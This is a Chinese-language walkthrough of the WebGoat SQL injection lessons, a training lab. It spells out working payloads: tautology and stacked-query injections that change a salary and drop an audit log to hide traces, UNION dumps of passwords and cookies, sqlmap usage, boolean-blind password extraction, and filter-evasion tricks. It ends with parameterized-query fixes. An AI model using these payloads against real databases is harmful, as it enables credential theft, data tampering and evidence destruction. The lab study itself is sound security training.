Injection

SQL Injection (intro)

2

SQL查询语句 select

1
select department from employees where userid=96134;

3

sql修改语句 update

1
update employees set department='Sales' where userid=89762;

4

sql修改数据库,修改表结构 alter

1
alter table employees add column phone varchar(20);

5

sql权限控制 grant。将表grant_rights的权限授予unauthorized_user。

1
grant select, insert, update, delete on grant_rights to unauthorized_user;

9

字符型注入。闭合单引号,实现注入,从而查询到数据库表的所有记录。

10

数值型注入。不需要闭合引号,直接注入,从而查询到数据库表的所有记录。

注意:SQL语言认为 and 运算符的运算级别要高于 or 运算符。

所以:

1
2
3
4
# 注入到第一个参数时,无法实现永真
Login_Count=1 or 1=1 and userid=1 <==> Login_Count=1 or (1=1 and userid=1)
# 注入到第二个参数时,可以实现永真
Login_Count=1 and userid=1 or 1=1 <==> (Login_Count=1 and userid=1) or 1=1

11

该系统要求员工使用一个独特的认证TAN来查看他们的数据。

需要闭合单引号,实现注入,从而查询到数据库表的所有记录。

1
2
# 闭合第二个参数的单引号,注入永真条件。
SELECT * FROM employees WHERE last_name='' AND auth_tan='' or '1'='1';

12

堆叠查询注入。通过分号分割执行多条sql语句。

需要执行sql修改John Smith的收入,TAN号是3SL99A。

1
2
3
4
5
# 第二个参数:闭合单引号,追加堆叠语句update修改数据库记录。
3SL99A';update employees set SALARY=1000000 where LAST_NAME='Smith

# 实际执行的sql语句
SELECT * FROM employees WHERE last_name = '' AND auth_tan = '3SL99A';update employees set SALARY=1000000 where LAST_NAME='Smith'

13

access_log表记录了所有数据修改操作,删除掉表中与你之前的修改数据相关的记录,来隐藏痕迹。

题目实际上是要求把access_log表整个删除,因此可以用DROP TABLE。

注意:

1
2
delete 语句是数据库操作语言(dml),事务提交之后才生效,可以回滚。
truncatedrop 是数据库定义语言(ddl),操作立即生效,不能回滚。
1
2
3
4
5
# 输入框闭合注入(-- 是注释,此处用来注释掉最后无法闭合的字符%')
';DROP TABLE access_log;--

# 实际执行的sql语句
SELECT * FROM access_log WHERE action LIKE '%';DROP TABLE access_log;-- %'

SQL Injection (advanced)

3

联合查询 union select操作。来查询其他表的数据。

1
2
3
4
5
6
# 通过union select语句(注意,前后的查询字段数和字段类型要一致,字段数少的可以用null补位)
' union select userid,user_name,password,cookie,null,null,null from user_system_data--


# 通过堆叠语句
';select userid,user_name,password,cookie from user_system_data--

5

注册页面的用户名输入框(username_reg属性)存在注入。需要通过注入爆破数据库,从而得到tom的用户密码进行登录。

根据fuzz注入测试的返回包,判断注入类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 说明用户名不是Tom
payload: username_reg=Tom
response: User Tom created, please proceed to the login page.

# 说明用户名是tom
payload: username_reg=tom
response: User tom already exists please try to register with a different username.

# 出现了错误
payload: username_reg=tom'
response: Sorry the solution is not correct, please try again.

# 尝试闭合单引号,并注释末尾多余的语句,闭合成功了。说明是字符型注入。
payload: username_reg=tom'--+
response: User {0} already exists please try to register with a different username.

将注册请求的数据包保存为 1.txt ,文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PUT /WebGoat/SqlInjectionAdvanced/challenge HTTP/1.1
Host: www.webgoat.local:8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=vaTRLYRQBZhWMipUCQnVMY2D3nvEV3gXVnZtCe5T
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
dnt: 1
sec-gpc: 1
Referer: http://www.webgoat.local:8080/WebGoat/start.mvc?username=admin12138
Origin: http://www.webgoat.local:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 74

username_reg=tom&email_reg=1%40q.com&password_reg=1&confirm_password_reg=1

使用 sqlmap自动测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
python sqlmap.py -r 1.txt

# 输出
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username_reg (PUT)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username_reg=aaa' AND 4527=4527 AND 'HwDq'='HwDq&email_reg=1@q.com&password_reg=admin12138&confirm_password_reg=admin12138
---
[16:36:27] [INFO] the back-end DBMS is HSQLDB
back-end DBMS: HSQLDB 1.7.2

说明存在布尔型注入。发几个数据包,手动确认一下返回值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 正确返回值
payload: username_reg=tom'+and+1=1--+
response: User {0} already exists please try to register with a different username.

# 错误返回值
payload: username_reg=tom'+and+1=10--+
response: User tom' and 1=10-- created, please proceed to the login page.


# 猜一下当前数据库用户名是默认的 SA
# 正确返回值
payload: username_reg=tom'+and+user()='SA'--+
response: User {0} already exists please try to register with a different username.

# 错误返回值
payload: username_reg=tom'+and+user()='S'--+
response: User tom' and user()='S'-- created, please proceed to the login page."

通过以上测试证明确实存在布尔型注入,并且对应true和false的返回值也可以确定了。

那么你一定想直接sqlmap爆数据库?,然鹅,白费功夫,爆不出来的!可以自测。

手工注入yyds!

猜测存在密码字段:

1
2
3
4
# 密码字段名:password
username_reg=tom' and length(password)>0--+

# 返回正确

爆破password长度:

1
2
3
4
# 密码字段名:password
username_reg=tom' and length(password)={{int(1-30)}}--+

# 23位密码

爆破password每一位字符:

1
2
3
username_reg=tom' and substr(password,{{int(1-23)}},1)='{{char(0-z)}}'--+

# thisisasecretfortomonly。

最后得到密码:thisisasecretfortomonly。到登录页面登录即可。


最初,没思路看了下hint提示,然后被误导了。

它提示:表名在WebGoat的每次启动时都是随机的,请先尝试找出名称。然后使用该字段更改密码。

按照这个提示要爆破数据库名和表名再爆每条记录,但是数据库表太多,工作量实在巨大。虽然理论上也是可行的,下面简单说下思路。

首先,爆破数据库名长度:

1
username_reg=tom'+and+length(database())={{int(1-50)}}--+

可知数据库名长度为 37

爆破数据库名的每个字符:

1
2
# 分别截取1-37开始的1位字符,判断是从0x21-0x7e的字符中的哪一个
username_reg=tom'+and+substr(database(),{{int(1-37))}},1)='{{rangechar(21,7e)}}'--+

可知数据库名为:C:\Users\xxx/.webgoat-2023.8\\webgoat。这他喵的不是代码部署的路径吗?不对劲,还是换个方式查所有数据库名吧。

查所有数据库名,通过group_concat拼接,爆破总长度:

1
2
3
username_reg=tom' and length((select group_concat(schema_name) from information_schema.schemata))={{int(1-100)}}--+

# 79位

爆破每个数据库名长度,通过分割符逗号的位置来看:

1
2
3
username_reg=tom' and substr((select group_concat(schema_name) from information_schema.schemata),{{int(0-79)}},1)=','--+

# 逗号的位置:10, 29, 36, 48, 59, 70

那么数据库名长度依次是 9,18,6,11,10,10,9

而HSQLDB自带的数据库包括:INFORMATION_SCHEMA,PUBLIC,SYSTEM_LOBS,正好长度是18,6,11,那10-48这段范围的字符串可以不爆破了。

爆破其余的数据库名:

1
2
3
username_reg=tom' and substr((select group_concat(schema_name) from information_schema.schemata),{{int(0-9)}},1)='{{char(0-z)}}'--+

# CONTAINER

最后得到所有数据库名:

1
2
3
4
5
6
7
CONTAINER
INFORMATION_SCHEMA
PUBLIC
SYSTEM_LOBS
admin12138
admin12138
container

至于后边的爆破就是类似重复的干苦力了。


6

回答安全问题。

淦,还是看不到题目。参考上面的CIA Triad解决吧。

答案:4,3,2,3,4

SQL Injection (mitigation)

5

完成代码,使其不再容易受到SQL注入的攻击!

1
2
3
4
5
6
7
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);

PreparedStatement statement = conn.prepareStatement("SELECT status FROM users WHERE name=? AND mail=?");

statement.setString(1,name);

statement.setString(2,mail);

6

使用JDBC连接到数据库并从中请求数据。

要求:

  • 连接到数据库
  • 对不受SQL注入攻击的数据库执行查询
  • 查询需要至少包含一个字符串参数

提示:

  • 为了连接到数据库,您可以简单地假设给定的常量DBURL、DBUSER和DBPW。
  • 查询的内容无关紧要,只要SQL是有效的并且满足要求即可。
  • 您编写的所有代码都插入到一个名为“TestClass”的Java类的主方法中,该类已经为您导入了Java.sql.*。
1
2
3
4
5
6
7
8
try {
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement statement = conn.prepareStatement("SELECT * FROM users WHERE name=?");
statement.setString(1,"x");
var resultSet = statement.executeQuery();
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}

9

仅输入验证是不够的!需要同时使用参数化查询和校验用户输入。

首先,尝试注入,按照题目要求实现查询另一个表user_system_data的数据。此时,会显示禁止了空格。

1
' union select USERID,USER_NAME,PASSWORD,COOKIE,null,null,null from user_system_data;--+

那么,这里就要考虑绕过对空格的过滤。

SQL注入绕过空格的一般思路:

  • 用多行注释/**/替代。
  • 用其他空白字符(%20 %09 %0a %0b %0c %0d %a0 %00等)。
  • 用两个空格替代。
  • 用括号()替代。在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

使用上面的思路进行fuzz绕过测试:

可以得知通过字符 %09,%0a,%0b,%0c,%0d,/**/ 中的任意一个来替代空格都是可以成功注入的。

/**/替换空格的payload如下:

1
2
3
4
5
# union方法
'/**/union/**/select/**/USERID,USER_NAME,PASSWORD,COOKIE,null,null,null/**/from/**/user_system_data--+

# 堆叠查询方法
';select/**/*/**/from/**/user_system_data;--+

注意:由于 %是特殊字符,直接填到输入框的 %字符,在发送请求过程中会被转义为 %25,会导致替代空格失效。这个问题可以通过使用bp等工具发送请求包来解决。但是,此时还需要将 +号替换为对应的url编码 %2b

1
2
3
4
5
# union方法
'%0aunion%0aselect%0aUSERID,USER_NAME,PASSWORD,COOKIE,null,null,null%0afrom%0auser_system_data--%2b

# 堆叠查询方法
';select%0a*%0afrom%0auser_system_data;--%2b

10

仅输入验证是不够的!

此题进一步加强了输入校验。依然是要实现查询另一个表user_system_data的数据。

首先,进行注入测试:

1
';select * from user_system_data;--+

可见,空格、/和SQL的关键字都被过滤了。

使用上一题的空格替代方法,发现可以成功绕过空格过滤。

1
';select/**/*/**/from/**/user_system_data;--+

那么,这里还需要考虑绕过对关键字的过滤。

SQL注入绕过关键字的一般思路:

  • 大小写绕过
  • 双写绕过
  • and和or可以用&&、||替换
  • 关键字内插入/**/
  • 内联注释绕过(把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行)
  • 关键字内插入<>(如果有些网站为了防止xss可能过滤<>)

使用上面的思路进行fuzz绕过测试:

由上可知,此处双写绕过是可行的。

可用的payload如下:

1
2
3
4
5
# union方法
'/**/union/**/selselectect/**/USERID,USER_NAME,PASSWORD,COOKIE,null,null,null/**/frfromom/**/user_system_data--+

# 堆叠查询方法
';selselectect/**/*/**/frfromom/**/user_system_data;--+

12

尝试通过ORDERBY字段执行SQL注入。

需要查找webgoat prd服务器的ip地址,题目给出了ip地址最后一部分:xxx.130.219.202

既然是ORDERBY字段,肯定是排序功能。网页中存在如下的区域,明显是与排序相关的。随便点击一个排序后,查看发送的数据包,可以发现是根据字段名排序。

尝试对该排序的参数进行注入:

可以看到出现的错误中,显示了执行的sql语句:

1
select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by ip'

所以该字段可以进行注入,只需替换该字段的值即可。

补充知识:

order by后的表达式可以是select语句,也可以是函数。例如,使用case语句,我们可以向数据库询问一些问题:

1
SELECT * FROM users ORDER BY (CASE WHEN(TRUE) THEN lastname ELSE firstname)

那么我们可以构造如下参数值:

1
2
3
# 查询server表中hostname为题目指定的webgoat-prd的记录的ip值,对ip值进行字符串按位截取,并判断每一位字符。如果字符比较成功就按照hostname排序,否则按照ip排序。
# 需要用 + 代替 空格
column=(case+when(substring((select+ip+from+servers+where+hostname='webgoat-prd'),1,1)='1')+then+hostname+else+ip+end)

此处因为默认order by是升序排列的,并且hostname排序和ip排序结果不一样,可以作为区分条件。

hostname排序:3142,ip排序:2314

那么实际执行的SQL语句就是:

1
select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by (case+when(substring((select+ip+from+servers+where+hostname='webgoat-prd'),1,1)='{{int(0-9)}}')+then+hostname+else+ip+end)

找到when条件为true的,即结果是按照hostname排序的响应,即可知道实际的ip地址每一位字符。

所以,webgoat prd服务器的ip地址为:104.130.219.202